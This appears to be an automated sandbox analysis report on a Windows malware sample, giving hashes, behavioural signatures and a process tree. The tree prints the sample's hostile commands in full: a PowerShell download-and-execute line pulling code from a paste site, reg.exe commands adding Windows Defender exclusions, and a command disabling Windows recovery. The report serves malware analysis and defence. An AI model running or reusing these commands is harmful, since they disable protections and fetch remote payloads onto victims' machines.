Analysis
- max time kernel
149s - max time network
95s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
04/06/2026, 17:00
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20260513-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
file.exe
Resource
win11-20260513-en
10 signatures
150 seconds
General
- Target file.exe
- Size 2.4MB
- Sample260604-vjftmsbs3y
- SHA256 dc65030a0e285fb075eaa4767a03a97e1dfcd08490d6af9d59b928b9062023b3
- MD5 5d1827bdd49fa353c2f67d2130c8c02f
- SHA1 c8a596a0cab9cef739c5d3059066711d624c84b6
- SHA512 b6084941ac54edfcaeeef44388958ff954718d9b35592a5a3dad9c9567ee44c2666dab9c4039101f34103436b5981449c467d9504e56d1c7242177cf1f080944
- SSDEEP 49152:JhXbZPX110tL+Qr5hBnUua3zy8eEQWTo:Jhx3urYFT
- TLSH T13CB5D50D011447DCC97D823694CF26ADA010332C62781FBEB6665EB18F75BD87EE5A8B
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 11 1176 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts powershell.exe - Executes dropped EXE 1 IoCs
pid Process 4772 WinTelemetry.exe - Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\Recovery ReAgentc.exe File opened for modification C:\Windows\system32\Recovery\ReAgent.xml ReAgentc.exe - Drops file in Windows directory 4 IoCs
description ioc Process File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\setuperr.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagerr.xml ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagwrn.xml ReAgentc.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 file.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString file.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1176 powershell.exe 1176 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1176 powershell.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 5212 wrote to memory of 1176 5212 file.exe 82 PID 1176 wrote to memory of 1052 1176 powershell.exe 84 PID 1176 wrote to memory of 2916 1176 powershell.exe 85 PID 1176 wrote to memory of 1716 1176 powershell.exe 86 PID 1176 wrote to memory of 3780 1176 powershell.exe 87 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:5212 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe irm https://pastefy.app/oKHN13Ub/raw | iex2⤵
- Badlisted process makes network request
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users /t REG_DWORD /d 0 /f /reg:643⤵PID:1052
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData /t REG_DWORD /d 0 /f /reg:643⤵PID:2916
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Windows /t REG_DWORD /d 0 /f /reg:643⤵PID:1716
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C:\Windows\system32\ReAgentc.exe"C:\Windows\system32\ReAgentc.exe" /disable3⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:3780
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C:\Users\Admin\AppData\Roaming\WinTelemetry\WinTelemetry.exeC:\Users\Admin\AppData\Roaming\WinTelemetry\WinTelemetry.exe1⤵
- Executes dropped EXE
PID:4772
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ciuzmig.v3i.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\WinTelemetry\WinTelemetry.exe
- Size 2.4MB
- SHA256 dc65030a0e285fb075eaa4767a03a97e1dfcd08490d6af9d59b928b9062023b3
- MD5 5d1827bdd49fa353c2f67d2130c8c02f
- SHA1 c8a596a0cab9cef739c5d3059066711d624c84b6
- SHA512 b6084941ac54edfcaeeef44388958ff954718d9b35592a5a3dad9c9567ee44c2666dab9c4039101f34103436b5981449c467d9504e56d1c7242177cf1f080944
- SSDEEP 49152:JhXbZPX110tL+Qr5hBnUua3zy8eEQWTo:Jhx3urYFT
- TLSH T13CB5D50D011447DCC97D823694CF26ADA010332C62781FBEB6665EB18F75BD87EE5A8B
- MD5 SHA1 SHA512 SSDEEP TLSH